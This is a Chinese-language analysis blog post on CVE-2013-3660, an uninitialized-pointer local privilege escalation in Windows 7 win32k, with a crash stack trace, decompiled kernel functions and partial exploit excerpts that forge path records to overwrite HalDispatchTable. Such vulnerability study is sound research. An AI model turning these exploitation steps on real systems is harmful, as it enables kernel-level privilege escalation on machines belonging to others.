CVE-2013-3660-Windows win32k!EPATHOBJpprFlattenRec 指针未初始化本地提权漏洞

环境

vs 2017
windows 7 32位
windbg

我用的是vs2017编译的poc.c(我这边的话需要设置 不使用预编译头),但是在windows 7上没有崩溃

后来我使用看雪的poc编译(https://bbs.pediy.com/thread-178154.htm),那就可以触发崩溃了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
kd> g
Access violation - code c0000005 (!!! second chance !!!)
96748406 f6400810 test byte ptr [eax+8],10h
kd> kb
ChildEBP RetAddr Args to Child
8cdcace4 96857701 00000001 00000294 ff5b0998 win32k!EPATHOBJ::bFlatten+0x15
8cdcad28 8404b42a 38010d94 0012fe10 778464f4 win32k!NtGdiFlattenPath+0x50
8cdcad28 778464f4 38010d94 0012fe10 778464f4 nt!KiFastCallEntry+0x12a
0012fdfc 775b68ed 775a6501 38010d94 0012fe1c ntdll!KiFastSystemCallRet
0012fe00 775a6501 38010d94 0012fe1c 0012ff40 GDI32!NtGdiFlattenPath+0xc
0012fe10 0042dffc 38010d94 006f1008 0048bc94 GDI32!FlattenPath+0x44
0012ff40 0042e57b 00000001 006f1008 006f1d38 ConsoleApplication1+0x2dffc
0012ff88 770c1174 7ffd8000 0012ffd4 7785b3f5 ConsoleApplication1+0x2e57b
0012ff94 7785b3f5 7ffd8000 7799c087 00000000 kernel32!BaseThreadInitThunk+0xe
0012ffd4 7785b3c8 00428609 7ffd8000 00000000 ntdll!__RtlUserThreadStart+0x70
0012ffec 00000000 00428609 7ffd8000 00000000 ntdll!_RtlUserThreadStart+0x1b

id打开win32k.sys

跟着作者,来着这个异常函数,里面调用了pprFlattenRec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
signed int __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
{
EPATHOBJ *v1; // esi@1
int v2; // eax@1
signed int result; // eax@2
struct _PATHRECORD *i; // eax@3

v1 = this;
v2 = *((_DWORD *)this + 2);
if ( v2 )
{
for ( i = *(struct _PATHRECORD **)(v2 + 20); i; i = *(struct _PATHRECORD **)i )
{
if ( *((_BYTE *)i + 8) & 0x10 )
{
i = EPATHOBJ::pprFlattenRec(v1, i);
if ( !i )
goto LABEL_2;
}
}
*(_DWORD *)v1 &= 0xFFFFFFFE;
result = 1;
}
else
{
LABEL_2:
result = 0;
}
return result;
}

在EPATHOBJ::pprFlattenRec之后调用EPATHOBJ::newpathrec,之后newpathalloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
struct PATHALLOC *__stdcall newpathalloc()
{
_DWORD *v0; // eax@1
void *v1; // ecx@2
_DWORD *v2; // esi@4
char v4; // [sp+4h] [bp-4h]@1

SEMOBJ::SEMOBJ((SEMOBJ *)&v4, (struct HSEMAPHORE__ *)PATHALLOC::hsemFreelist);
v0 = PATHALLOC::freelist;
if ( PATHALLOC::freelist ) //假如freelist有,直接从里面获取,但是没有对获取的数据进行初始化操作,之后可能使用到被污染的数据
{
v1 = *(void **)PATHALLOC::freelist;
--PATHALLOC::cFree;
PATHALLOC::freelist = v1;
LABEL_7:
*v0 = 0;
v0[2] = 4032;
v0[1] = v0 + 3;
v2 = v0;
goto LABEL_5;
}
v0 = (_DWORD *)PALLOCMEM(0xFC0u, 0x74617047u);
if ( v0 )
{
++PATHALLOC::cAllocated;
goto LABEL_7;
}
v2 = 0;
LABEL_5:
NEEDGRELOCK::vUnlock((NEEDGRELOCK *)&v4);
return (struct PATHALLOC *)v2;
}

我们添加结构体继续分析

1
2
3
4
5
6
7
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
DWORD flags;
DWORD numPoints;
POINT points[0];
} PATHRECORD, *PPATHRECORD;

在 EPATHOBJ::pprFlattenRec里面,我们将v29转化成struct显示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( EPATHOBJ::newpathrec(this, &v29, &v27, 0x7FFFFFFFu) == (struct PATHALLOC *)1 )
{
v3 = v29;
v4 = a2;
v29->prev = a2->prev;
v5 = &v3->numPoints;
v3->numPoints = 0;
v3->flags = a2->flags & 0xFFFFFFEF;
if ( v3->prev )
v3->prev->next = v3; //v3即v29,也即上面提到的freelist,freelist可控,那么这里就可以任意写内核地址了
else
*(_DWORD *)(*((_DWORD *)v28 + 2) + 20) = v3;

......
......

漏洞利用

漏洞利用还是复杂了点,主要是新建了三个record

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//
//PathRecord->next = self
//stuck here to wait for WatchdogThread set PathRecord->next = ExploitRecord
//
PathRecord->flags = 0;
PathRecord->next = PathRecord;
PathRecord->prev = (PPATHRECORD)(0x42424242);

ExploitRecordExit = (PPATHRECORD) *DispatchRedirect;
ExploitRecordExit->next = NULL;
ExploitRecordExit->prev = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;
.....
.....
ExploitRecord.next = (PPATHRECORD) *DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD) &HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;

填充freelist,据说是创建贝里尔曲线,以便在其直线化的时候调用漏洞函数

1
2
3
4
5
6
7
// Generate a large number of Belier Curves made up of pointers to our
// PATHRECORD object.
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
PointTypes[PointNum] = PT_BEZIERTO;
}

最后

v3->prev->next = v3;

就可以把HalDispatchTable改写

reference

《漏洞战争》

打赏专区